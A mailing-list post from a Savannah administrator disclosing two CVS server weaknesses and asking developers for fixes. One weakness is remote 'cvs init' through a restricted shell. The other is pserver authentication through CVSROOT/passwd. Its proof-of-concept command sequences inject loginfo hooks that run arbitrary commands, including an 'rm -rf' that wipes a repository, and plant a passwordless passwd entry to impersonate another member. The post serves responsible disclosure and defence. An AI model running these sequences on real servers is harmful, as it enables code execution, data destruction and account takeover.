[Savannah-hackers-public] 2 security concerns: remote init, and disabling CVSROOT/passwd

[Sylvain Beucler]

Hi,

At Savannah.gnu.org, CVS serves around 2700 sources repositories (the
same for webpages repositories).

This leads to a couple security concerns I'd like to discuss. I'd like
to see if there's a better way to handle them, and I'd also like to
integrate changes in CVS, rather than quick-patching it :)


* Local access

We provide cvs+ssh, but we don't want users to run arbitrary commands,
so we provide access through a restricted shell ("cvs server" only).

But: 'cvs init' can be used remotely.

 cvs -d:ext:address@hidden:/tmp/crack init
 cvs -d:ext:address@hidden:/tmp/crack co .
 echo "ALL cat > /dev/null && id" >> CVSROOT/loginfo
 cvs commit -m ""
 mkdir dir
 cvs add dir
 # -> uid=1000(sylvain) ... # hook triggered, local access
 # -> Directory /tmp/crack/dir added to the repository

# Sample abuse: Beuc, new CVS member, silently alters project history
 cvs -d:ext:address@hidden:/tmp/crack init
 cvs -d:ext:address@hidden:/tmp/crack co .
 echo "ALL cat > /dev/null && rm -rf /sources/cvs/cvs" >> CVSROOT/loginfo
 cvs commit -m ""
 mkdir dir
 cvs add dir

Currently the command is disabled for remote access, using a
quick'n'dirty patch ("if (server_active) exit(EXIT_FAILURE)").

What would you recommend? Are there legitimate use for remote 'init'?
I wouldn't like users creating their private repositories at Savannah
either.


* CVSROOT/passwd-based pserver access

Since we have numerous repositories, we hit command line limits for
pserver --allow-root (2700 * 2 * 20 / 1024 = 105KB, not counting
aliases). Besides, it is not really easy to change the 'pserver'
command line in xinetd each time a new project is created.

To overcome this, we used Vincent Caron's patch
(https://mail.gna.org/public/savane-dev/2005-08/msg00042.html).

Problem: there's less protection for pserver.

For example: we have a web-based CVS editor called 'Doctor' (also used
for managing mozilla.org afaik), which needs an internal,
non-anonymous pserver - a real pserver that can chown(2).

If the user gains local access (see above) it could also use other
member accounts:

 cvs -d:ext:address@hidden:/sources/existingproject/subdir init
 cvs -d:ext:address@hidden:/sources/existingproject/subdir co .
 cat <<EOF > CVSROOT/passwd
 teammate:
 EOF
 cvs add CVSROOT/passwd
 echo "passwd" >> checkoutlist
 echo "DEFAULT  cat > /dev/null && do_mischief" >> loginfo
 cvs commit -m ""
 
 cvs -d:pserver:address@hidden:/sources/existingproject/subdir co .
 cvs commit ...

Sample abuse: Beuc, banned CVS member after his previous abuse,
decides that CVS won't live without him and silently introduce nasty
bugs in the RCS files, after becoming user 'dprice'..

Currently there's a hard-coded patch at Savannah which prevent parsing
CVSROOT/passwd for pserver; the root-owned pserver is also ran behind
the firewall, as it's only used internaly, and only for web
repositories (the public pserver is ran as user nobody). Of course
that's a pretty brute way to handle the situation.


First solution I could see:

- Secure all CVSROOTs locations, implementing the --allow-root-regexp
  proposal [1] so as not to accept subdirs, while keeping the
  maintainability of a stable command line.  Hopefully all the
  CVSROOTs have perfect permissions. I'm not uber-confident with this
  one.

  For the record, Savannah repositories are 'chown root:mygroup', then
  CVSROOT is 'chown root:root' (except for history and val-tags), and
  then CVSROOT is 'chattr +i' so that it cannot be moved and replaced
  by another CVSROOT. This prevents CVSROOT misuse if a user gains
  local access, but this has to be done on all repositories, it could
  be easy to forget it during a complex project import, or similar.

Safer solutions I could see:

- Permit the CVS administrator to disable CVSROOT/passwd
  authentication with a pserver command-line switch (a cracker might
  still switch to an unsecure PAM scheme, but that's less
  straightforward).

- Or more generaly, specify the allowed authentication scheme in the
  pserver command line (this would be easier to secure) - overriding
  CVSROOT/config.



What do you think of these two issues, and how would you fix them?

[1]
http://web.archive.org/web/20040327105943/http://ccvs.cvshome.org/issues/show_bug.cgi?id=41
Unfortunately the old cvshome issue tracker appears to be down, and I
can't grab the patch anymore. Does somebody have it?

-- 
Sylvain